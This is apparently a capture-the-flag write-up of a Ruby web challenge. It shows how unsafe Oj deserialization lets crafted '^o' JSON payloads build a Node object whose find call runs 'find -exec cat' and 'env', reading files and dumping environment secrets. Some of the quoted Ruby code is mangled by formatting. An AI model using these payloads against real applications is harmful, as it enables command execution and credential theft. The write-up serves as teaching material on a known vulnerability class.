Initial Ruby Application Code:
require "active_record"
require "securerandom"
require "sqlite3"
require "open3"
require "erb"
require "uri"
require "oj"
Dir.chdir('/tmp/app')
# Database setup
ActiveRecord::Schema.verbose = false
ActiveRecord::Base.establish_connection(
adapter: "sqlite3",
database: ":memory:"
)
ActiveRecord::Base.connection.disable_query_cache!
ActiveRecord::Schema.define do
unless ActiveRecord::Base.connection.table_exists ? (: jobs)
create_table: jobs do | t |
t.string: uuid, null: false,
default: SecureRandom.uuid
t.string: status, null: false,
default: "queued"
t.text: payload, null: false
t.timestamps
end
end
end
class Job < ActiveRecord::Base
end
# Clean up old jobs(
if any)
Job.delete_all
class RubitMQ
def initialize(data)
@data = data
end
def run
if @data.respond_to ? (: run_find)
@data.run_find
end
end
end
class JobRunner
def self.run
Job.where(status: "queued").find_each do | job |
data = Oj.load(job.payload)
RubitMQ.new(data).run()
job.update!(status: "done")
end
end
end
class Node
def initialize(args = [])
@args = args
end
def run_find()
puts Open3.capture3("find", * @args)
end
end
payload = URI.decode_www_form_component("")
# Add the job to the local database
job = Job.create!(status: "queued", payload: payload)
ActiveRecord::Base.uncached do
JobRunner.run
end
# Render the given page
for our web application
puts ERB.new(IO.read("views/index.html")).result_with_hash({
job_name: job.uuid
})The application processes user-supplied data by storing it as a job payload and deserializing it using the Ruby Oj library:
data = Oj.load(job.payload)The deserialized object is then passed into a message handler which conditionally executes a method:
RubitMQ.new(data).runThe Oj library supports object deserialization when special keys such as ^o are present in JSON input. Because user input is directly passed to Oj.load without validation or restrictions.
By analyzing the code, I found the following class
class Node
def initialize(args=[])
@args = args
end
def run_find()
puts Open3.capture3("find", *@args)
end
endIf a deserialized object responds to run_find, it will be executed automatically.
Using Oj’s object creation feature, I crafted the following payload:
{
"^o": "Node",
"args": ["/", "-type", "f", "-size", "-5k", "-exec", "cat", "{}", ";"]
}This caused the application to execute:
find / -type f -size -5k -exec cat {} ;Response:
#!/bin/sh
CHROOT="/tmp/chroot"
create_chroot() {
if [ ! -d "$CHROOT" ]; then
mkdir -p "$CHROOT/bin"
[...]The output showed scripts related to a chroot jail, indicating the application was running in a restricted filesystem.
I used the following payload to list files under /app:
{
"^o":"Node",
"args":["/app","-type","f","-maxdepth","3"]
}Response:
/app/index.js
/app/runner.sh
/app/supervisord.pid
/app/chroot-me
/app/supervisord.log
/app/package.jsonThis revealed several application files, including a startup script:
/app/runner.shSee inside files
{
"^o":"Node",
"args":["/app/runner.sh","-exec","cat","{}",";"]
}Response:
#!/bin/ash
SETUP_CODE=$(printf %s "${DOJO_OPTS}" | jq .setup -r)
INIT=$(
cat <<'EOF'
require 'json'
def popenv(name)
value = ENV[name]
ENV.delete(name)
return value
end
flag = popenv("DOJO_FLAG")
secrets = JSON.parse(popenv("DOJO_SECRETS"))
EOF
)
CODE=$(
cat <<EOF
$INIT
$SETUP_CODE
$DOJO_CODE
EOF
)
printf %s "${CODE}" | ruby
pid 7542 exit 0
The contents of runner.sh showed the following critical code:
flag = popenv("DOJO_FLAG")This indicated that the flag was stored in an environment variable and not on disk.
Using the ability to execute arbitrary commands via find -exec, I executed:
{
"^o":"Node",
"args":["/","-maxdepth","0","-exec","env",";"]
}This printed the environment variables containing the flag.
FLAG=FLAG{Th4t_J0b_D1d_N07_Go_A5_Exp3ct3d}






Leave a Reply